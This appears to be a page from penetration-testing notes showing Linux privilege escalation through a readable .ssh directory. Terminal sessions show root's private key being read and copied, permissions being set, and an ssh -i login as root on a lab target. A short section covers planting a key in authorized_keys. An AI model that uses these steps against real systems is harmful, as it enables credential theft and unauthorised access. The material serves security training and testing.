SSH DIRECTORY

If read access is available to a user's .ssh directory (e.g., "/home/user/.ssh/" or "/root/.ssh/", it's possible to exfiltrate private SSH key "id_rsa". Once copied to the attacker's machine, this key can be used to authenticate as that user via SSH using the -i flag.

READ ACCESS

#enumerate
user@target:~$ ls -la ~/.ssh; ls -la /root/.ssh
 ls: cannot access '/home/user2/.ssh': No such file or directory
 total 20
 drwxr-x--- 1 root user2 4096 Feb 12  2021 .
 drwxr-x--- 1 root user2 4096 Feb 12  2021 ..
 -rw------- 1 root root   571 Feb 12  2021 authorized_keys
 -rw-r--r-- 1 root root  2602 Feb 12  2021 id_rsa
 -rw-r--r-- 1 root root   571 Feb 12  2021 id_rsa.pub

#
user@target:~$ cat /root/.ssh/id_rsa
 -----BEGIN OPENSSH PRIVATE KEY-----
 b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
 NhAAAAAwEAAQAAAYEAt3nX57B1Z2nSHY+aaj4lKt9lyeLVNiFh7X0vQisxoPv9BjNppQxV
 PtQ8csvHq/GatgSo8oVyskZIRbWb7QvCQI7JsT+Pr4ieQayNIoDm6+i9F1hXyMc0VsAqMk
 05z9YKStLma0iN6l81Mr0dAI63x0mtwRKeHvJR+EiMtUTlAX9++kQJmD9F3lDSnLF4/dEy
 G4WQSAH7F8Jz3OrRKLprBiDf27LSPgOJ6j8OLn4bsiacaWFBl3+CqkXeGkecEHg5dIL4K+
 aPDP2xzFB0d0c7kZ8AtogtD3UYdiVKuF5fzOPJxJO1Mko7UsrhAh0T6mIBJWRljjUtHwSs
 ntrFfE5trYET5L+ov5WSi+tyBrAfCcg0vW1U78Ge/3h4zAG8KaGZProMUSlu3MbCfl1uK/
 ...==
 -----END OPENSSH PRIVATE KEY-----

#
root@oco:~$ nano target-94.237.48.12-id_rsa
 -----BEGIN OPENSSH PRIVATE KEY-----
 b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
 NhAAAAAwEAAQAAAYEAt3nX57B1Z2nSHY+aaj4lKt9lyeLVNiFh7X0vQisxoPv9BjNppQxV
 PtQ8csvHq/GatgSo8oVyskZIRbWb7QvCQI7JsT+Pr4ieQayNIoDm6+i9F1hXyMc0VsAqMk
 05z9YKStLma0iN6l81Mr0dAI63x0mtwRKeHvJR+EiMtUTlAX9++kQJmD9F3lDSnLF4/dEy
 G4WQSAH7F8Jz3OrRKLprBiDf27LSPgOJ6j8OLn4bsiacaWFBl3+CqkXeGkecEHg5dIL4K+
 aPDP2xzFB0d0c7kZ8AtogtD3UYdiVKuF5fzOPJxJO1Mko7UsrhAh0T6mIBJWRljjUtHwSs
 ntrFfE5trYET5L+ov5WSi+tyBrAfCcg0vW1U78Ge/3h4zAG8KaGZProMUSlu3MbCfl1uK/
 ...==
 -----END OPENSSH PRIVATE KEY-----
 
 * paste copied key value

root@oco:~$ chmod 600 target-94.237.48.12-id_rsa

 * changing the file permission to restrictive is required; else
   the ssh server would prevent them from working

root@oco:~$ ssh -i target-94.237.48.12-id_rsa [email protected] -p 45074
 Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 6.1.0-10-amd64 x86_64)

  * Documentation:  https://help.ubuntu.com
  * Management:     https://landscape.canonical.com
  * Support:        https://ubuntu.com/advantage


 This system has been minimized by removing packages and content that are
 not required on a system that users do not log into.
 
 To restore this content, you can run the 'unminimize' command.

 The programs included with the Ubuntu system are free software;
 the exact distribution terms for each program are described in the
 individual files in /usr/share/doc/*/copyright.

 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
 applicable law.

root@target:~#

WRITE ACCESS: NON-ATTRIBUTION METHOD

With write access to a target user's .ssh directory, an attacker can append their public key to the target's authorized_keys file, granting SSH access as that user. This technique only works if the attacker already has control over the target user, as most SSH configurations will reject keys added by unauthorized users.

PreviousVINextSUDOERS

Last updated